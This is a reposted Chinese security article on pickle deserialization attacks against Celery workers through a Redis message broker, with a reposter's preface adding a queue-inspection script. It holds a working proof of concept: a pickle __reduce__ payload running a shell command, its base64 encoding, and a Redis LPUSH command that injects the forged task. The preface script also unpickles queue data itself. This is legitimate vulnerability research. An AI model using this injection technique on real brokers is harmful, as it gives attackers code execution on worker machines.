add by zhj:
原文講的是序列化時的安全問題，不過，我關心的是怎樣可以看到消息隊列中的數據。下面是在broker中看到的消息，body是先用
body_encoding編碼，然后用content-type進行序列化后得到的，'application/x-python-serialize'指的是pickle，用
pickle.loads(body.decode('base64'))就可以看到原始的數據。
{ 'body': 'gAJ9cQEoVQdleHBpcmVzcQJOVQN1dGNxA4hVBGFyZ3NxBEsBSxaGcQVVBWNob3JkcQZOVQljYWxsYmFja3NxB05VCGVycmJhY2tzcQhOVQd0YXNrc2V0cQlOVQJpZHEKVSQ3M2I5Y2FmZS0xYzhkLTRmZjYtYjdhOC00OWI2MGJmZjE0ZmZxC1UHcmV0cmllc3EMSwBVBHRhc2txDVUIZGVtby5hZGRxDlUJdGltZWxpbWl0cQ9OToZVA2V0YXEQTlUGa3dhcmdzcRF9cRJ1Lg==', 'content-encoding': 'binary', 'content-type': 'application/x-python-serialize', 'headers': {}, 'properties': { 'body_encoding': 'base64', 'correlation_id': '73b9cafe-1c8d-4ff6-b7a8-49b60bff14ff', 'delivery_info': { 'exchange': 'celery', 'priority': 0, 'routing_key': 'celery' }, 'delivery_mode': 2, 'delivery_tag': '0ad4f731-e5d3-427c-a6d6-d0fe48ff2b09', 'reply_to': 'b6c304bb-45e5-3b27-95dc-29335cbce9f1' } }
附上一段代碼，用於計算某個消息隊列中，最近的前count個任務按出現次數的排序，可用來查看哪些任務是高頻任務，實測通過
import json import redis import pickle from operator import itemgetter def get_every_task_count_in_the_queue(redis_host, redis_db, queue_name, count): r = redis.StrictRedis(db=redis_db, host=redis_host) messages = r.lrange(queue_name, 0, count) count_dict = {} for m in messages: m = json.loads(m) body_encoding = m['properties']['body_encoding'] body = pickle.loads(m['body'].decode(body_encoding)) task_name = body['task'] count_dict[task_name] = count_dict.get(task_name, 0) + 1 list_ = sorted(count_dict.items(), key=itemgetter(1), reverse=True) return list_
原文：http://blog.knownsec.com/2016/04/serialization-troubles-in-message-queuing-componet/
一、消息隊列與數據序列化
1. 消息隊列代理
在一個分布式系統中，消息隊列（MQ）是必不可少的，任務下發到消息隊列代理中，工作節點從隊列中取出相應的任務進行處理，以圖的形式展現出來是這個樣子的：
任務通過 Master 下發到消息隊列代理中，Workers 從隊列中取出任務然后進行解析和處理，按照配置對執行結果進行返回。下面以 Python 中的分布式任務調度框架 Celery 來進行代碼說明，其中使用了 Redis 作為消息隊列代理：
|
1
2
3
4
5
6
7
8
|
from celery import Celery
app = Celery('demo',
broker='redis://:@192.168.199.149:6379/0',
backend='redis://:@192.168.199.149:6379/0')
@app.task
def add(x, y):
return x + y
|
在本地起一個 Worker 用以執行注冊好的 add 方法：
|
1
|
(env)➜ demo celery worker -A demo.app -l INFO
|
然后起一個 Python 交互式終端下發任務並獲取執行結果：
|
1
2
3
4
5
6
7
8
|
(env)➜ ipython --no-banner
In [1]: from demo import add
In [2]: print add.delay(1, 2).get()
21
In [3]:
|
借助消息隊列這種方式很容易把一個單機的系統改造成一個分布式的集群系統。
2. 數據序列化
任務的傳遞肯定是具有一定結構的數據，而這些數據的結構化處理就要進行序列化操作了。不同語言有不同的數據序列化方式，當然也有着具有兼容性的序列化方式（比如：JSON），下面針對序列化數據存儲的形式列舉了常見的一些數據序列化方式：
- Binary
- JSON
- XML (SOAP)
二進制序列化常是每種語言內置實現的一套針對自身語言特性的對象序列化處理方式，通過二進制序列化數據通常能夠輕易的在不同的應用和系統中傳遞實時的實例化對象數據，包括了類實例、成員變量、類方法等。
JSON 形式的序列化通常只能傳遞基礎的數據結構，比如數值、字符串、列表、字典等等，不支持某些自定義類實例的傳遞。XML 形式的序列化也依賴於特定的語言實現。
二、危險的序列化方式
說了那么多，最終還是回到了序列化方式上，二進制方式的序列化是最全的也是最危險的一種序列化方式，許多語言的二進制序列化方式都存在着一些安全風險（如：Python, C#, Java）。
在分布式系統中使用二進制序列化數據進行任務信息傳遞，極大地提升了整個系統的危險系數，猶如一枚炸彈放在那里，不知道什么時候就 "爆炸" 致使整個系統淪陷掉。
下面還是以 Python 的 Celery 分布式任務調度框架來說明該問題。
|
1
2
3
4
5
6
|
from celery import Celery
app = Celery('demo', broker='redis://:@192.168.199.149:6379/0')
@app.task
def add(x, y):
return x + y
|
（這里是用 Redis 作為消息隊列代理，為了方便未開啟驗證）
首先不起 Worker 節點，直接添加一個 add 任務到隊列中，看看下發的任務是如何存儲的：
可以看到在 Redis 中存在兩個鍵 celery 和 _kombu.binding.celery ， _kombu.binding.celery 表示有一名為 celery 的任務隊列（Celery 默認），而 celery 為默認隊列中的任務列表，可以看看添加進去的任務數據：
|
1
2
3
|
127.0.0.1:6379> LINDEX celery 0
"{\"body\": \"gAJ9cQEoVQdleHBpcmVzcQJOVQN1dGNxA4hVBGFyZ3NxBEsBSxaGcQVVBWNob3JkcQZOVQljYWxsYmFja3NxB05VCGVycmJhY2tzcQhOVQd0YXNrc2V0cQlOVQJpZHEKVSQ3M2I5Y2FmZS0xYzhkLTRmZjYtYjdhOC00OWI2MGJmZjE0ZmZxC1UHcmV0cmllc3EMSwBVBHRhc2txDVUIZGVtby5hZGRxDlUJdGltZWxpbWl0cQ9OToZVA2V0YXEQTlUGa3dhcmdzcRF9cRJ1Lg==\", \"headers\": {}, \"content-type\": \"application/x-python-serialize\", \"properties\": {\"body_encoding\": \"base64\", \"correlation_id\": \"73b9cafe-1c8d-4ff6-b7a8-49b60bff14ff\", \"reply_to\": \"b6c304bb-45e5-3b27-95dc-29335cbce9f1\", \"delivery_info\": {\"priority\": 0, \"routing_key\": \"celery\", \"exchange\": \"celery\"}, \"delivery_mode\": 2, \"delivery_tag\": \"0ad4f731-e5d3-427c-a6d6-d0fe48ff2b09\"}, \"content-encoding\": \"binary\"}"
127.0.0.1:6379>
|
為了方便分析，把上面的數據整理一下：
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
{
'body': 'gAJ9cQEoVQdleHBpcmVzcQJOVQN1dGNxA4hVBGFyZ3NxBEsBSxaGcQVVBWNob3JkcQZOVQljYWxsYmFja3NxB05VCGVycmJhY2tzcQhOVQd0YXNrc2V0cQlOVQJpZHEKVSQ3M2I5Y2FmZS0xYzhkLTRmZjYtYjdhOC00OWI2MGJmZjE0ZmZxC1UHcmV0cmllc3EMSwBVBHRhc2txDVUIZGVtby5hZGRxDlUJdGltZWxpbWl0cQ9OToZVA2V0YXEQTlUGa3dhcmdzcRF9cRJ1Lg==',
'content-encoding': 'binary',
'content-type': 'application/x-python-serialize',
'headers': {},
'properties': {
'body_encoding': 'base64',
'correlation_id': '73b9cafe-1c8d-4ff6-b7a8-49b60bff14ff',
'delivery_info': {
'exchange': 'celery',
'priority': 0,
'routing_key': 'celery'
},
'delivery_mode': 2,
'delivery_tag': '0ad4f731-e5d3-427c-a6d6-d0fe48ff2b09',
'reply_to': 'b6c304bb-45e5-3b27-95dc-29335cbce9f1'
}
}
|
body 存儲的經過序列化和編碼后的數據，是具體的任務參數，其中包括了需要執行的方法、參數和一些任務基本信息，而 properties['body_encoding'] 指明的是 body 的編碼方式，在 Worker 取到該消息時會使用其中的編碼進行解碼得到序列化后的任務數據 body.decode('base64') ，而content-type 指明了任務數據的序列化方式，這里在不明確指定的情況下 Celery 會使用 Python 內置的序列化實現模塊 pickle 來進行序列化操作。
這里將 body 的內容提取出來，先使用 base64 解碼再使用 pickle 進行反序列化來看看具體的任務信息：
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
In [6]: pickle.loads('gAJ9cQEoVQdleHBpcmVzcQJOVQN1dGNxA4hVBGFyZ3NxBEsBSxaGcQVVBWNob3JkcQZOVQljYWxsYmFja3NxB05VCGVycmJhY2tzcQhOVQd0YXNrc2V0cQlOVQJpZHEKVSQ3M2I5Y2FmZS0xYzhkLTRmZjYtYjdhOC00OWI2MGJmZjE0ZmZxC1UHcmV0cmllc3EMSwBVBHRhc2txDVUIZGVtby5hZGRxDlUJdGltZWxpbWl0cQ9OToZVA2V0YXEQTlUGa3dhcmdzcRF9cRJ1Lg=='.decode('base64'))
Out[6]:
{'args': (1, 22),
'callbacks': None,
'chord': None,
'errbacks': None,
'eta': None,
'expires': None,
'id': '73b9cafe-1c8d-4ff6-b7a8-49b60bff14ff',
'kwargs': {},
'retries': 0,
'task': 'demo.add',
'taskset': None,
'timelimit': (None, None),
'utc': True}
In [7]:
|
熟悉 Celery 的人一眼就知道上面的這些參數信息都是在下發任務時進行指定的：
|
1
2
3
4
5
|
id => 任務的唯一ID
task => 需要執行的任務
args => 調用參數
callback => 任務完成后的回調
...
|
這里詳細任務參數就不進行說明了，剛剛說到了消息隊列代理中存儲的任務信息是用 Python 內置的pickle 模塊進行序列化的，那么如果我惡意插入一個假任務，其中包含了惡意構造的序列化數據，在 Worker 端取到任務后對信息進行反序列化的時候是不是就能夠執行任意代碼了呢？下面就來驗證這個觀點（對 Python 序列化攻擊不熟悉的可以參考下這篇文章《Exploiting Misuse of Python's "Pickle"》
剛剛測試和分析已經得知往 celery 隊列中下發的任務， body 最終會被 Worker 端進行解碼和解析，並在該例子中 body 的數據形態為 pickle.dumps(TASK).encode('base64') ，所以這里可以不用管 pickle.dumps(TASK) 的具體數據，直接將惡意的序列化數據經過 base64 編碼后替換掉原來的數據，這里使用的 Payload 為：
|
1
2
3
4
5
6
7
|
import pickle
class Touch(object):
def __reduce__(self):
import os
return (os.system, ('touch /tmp/evilTask', ))
print pickle.dumps(Touch()).encode('base64')
|
運行一下得到具體的 Payload 值：
|
1
2
|
(env)➜ demo python touch.py
Y3Bvc2l4CnN5c3RlbQpwMAooUyd0b3VjaCAvdG1wL2V2aWxUYXNrJwpwMQp0cDIKUnAzCi4=
|
將其替換原來的 body 值得到：
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
{
'body': 'Y3Bvc2l4CnN5c3RlbQpwMAooUyd0b3VjaCAvdG1wL2V2aWxUYXNrJwpwMQp0cDIKUnAzCi4=',
'content-encoding': 'binary',
'content-type': 'application/x-python-serialize',
'headers': {},
'properties': {
'body_encoding': 'base64',
'correlation_id': '73b9cafe-1c8d-4ff6-b7a8-49b60bff14ff',
'delivery_info': {
'exchange': 'celery',
'priority': 0,
'routing_key': 'celery'
},
'delivery_mode': 2,
'delivery_tag': '0ad4f731-e5d3-427c-a6d6-d0fe48ff2b09',
'reply_to': 'b6c304bb-45e5-3b27-95dc-29335cbce9f1'
}
}
|
轉換為字符串：
|
1
|
"{\"body\": \"Y3Bvc2l4CnN5c3RlbQpwMAooUyd0b3VjaCAvdG1wL2V2aWxUYXNrJwpwMQp0cDIKUnAzCi4=\", \"headers\": {}, \"content-type\": \"application/x-python-serialize\", \"properties\": {\"body_encoding\": \"base64\", \"delivery_info\": {\"priority\": 0, \"routing_key\": \"celery\", \"exchange\": \"celery\"}, \"delivery_mode\": 2, \"correlation_id\": \"73b9cafe-1c8d-4ff6-b7a8-49b60bff14ff\", \"reply_to\": \"b6c304bb-45e5-3b27-95dc-29335cbce9f1\", \"delivery_tag\": \"0ad4f731-e5d3-427c-a6d6-d0fe48ff2b09\"}, \"content-encoding\": \"binary\"}"
|
然后將該信息直接添加到 Redis 的 隊列名為 celery 的任務列表中（注意轉義）：
|
1
|
127.0.0.1:6379> LPUSH celery "{\"body\": \"Y3Bvc2l4CnN5c3RlbQpwMAooUyd0b3VjaCAvdG1wL2V2aWxUYXNrJwpwMQp0cDIKUnAzCi4=\", \"headers\": {}, \"content-type\": \"application/x-python-serialize\", \"properties\": {\"body_encoding\": \"base64\", \"delivery_info\": {\"priority\": 0, \"routing_key\": \"celery\", \"exchange\": \"celery\"}, \"delivery_mode\": 2, \"correlation_id\": \"73b9cafe-1c8d-4ff6-b7a8-49b60bff14ff\", \"reply_to\": \"b6c304bb-45e5-3b27-95dc-29335cbce9f1\", \"delivery_tag\": \"0ad4f731-e5d3-427c-a6d6-d0fe48ff2b09\"}, \"content-encoding\": \"binary\"}"
|
這時候再起一個默認隊列的 Worker 節點，Worker 從 MQ 中取出任務信息並解析我們的惡意數據，如果成功執行了會在 Worker 節點創建文件 /tmp/evilTask ：
攻擊流程就應該為：
攻擊者控制了 MQ 服務器，並且在任務數據傳輸上使用了危險的序列化方式，致使攻擊者能夠往隊列中注入惡意構造的任務，Worker 節點在解析和執行 fakeTask 時發生異常或直接被攻擊者控制。
三、脆弱的消息隊列代理
雖然大多數集群消息隊列代理都處在內網環境，但並不排除其在公網上暴露可能性，歷史上已經多次出現過消息隊列代理未授權訪問的問題（默認配置），像之前的 MongoDB 和 Redis 默認配置下的未授權訪問漏洞，都已經被大量的曝光和挖掘過了，但是這些受影響的目標中又有多少是作為消息隊列代理使用的呢，恐怕當時並沒有太多人注意到這個問題。
鑒於一些安全問題，並未對暴露在互聯網上的 Redis 和 MongdoDB 進行掃描檢測。
這里總結一下利用 MQ 序列化數據注入的幾個關鍵點：
- 使用了危險序列化方式進行消息傳輸的消息隊列代理；
- 工作集群會從 MQ 中取出消息並對其反序列化解析；
- 消息隊列代理能夠被攻擊和控制；
雖然成功利用本文思路進行攻擊的條件比較苛刻，但是互聯網那么大沒有什么是不可能的。我相信在不久之后必定會出現真實案例來證實本文所講的內容。（在本文完成時，發現 2013 年國外已經有了這樣的案例，鏈接附后）
四、總結
數據注入是一種常用的攻擊手法，如何去老手法玩出新思路還是需要積累的。文章示例代碼雖然只給出了 Python Pickle + Celery 這個組合的利用思路，但並不局限於此。開發語言和中間件那么多，組合也更多，好玩的東西需要一起去發掘。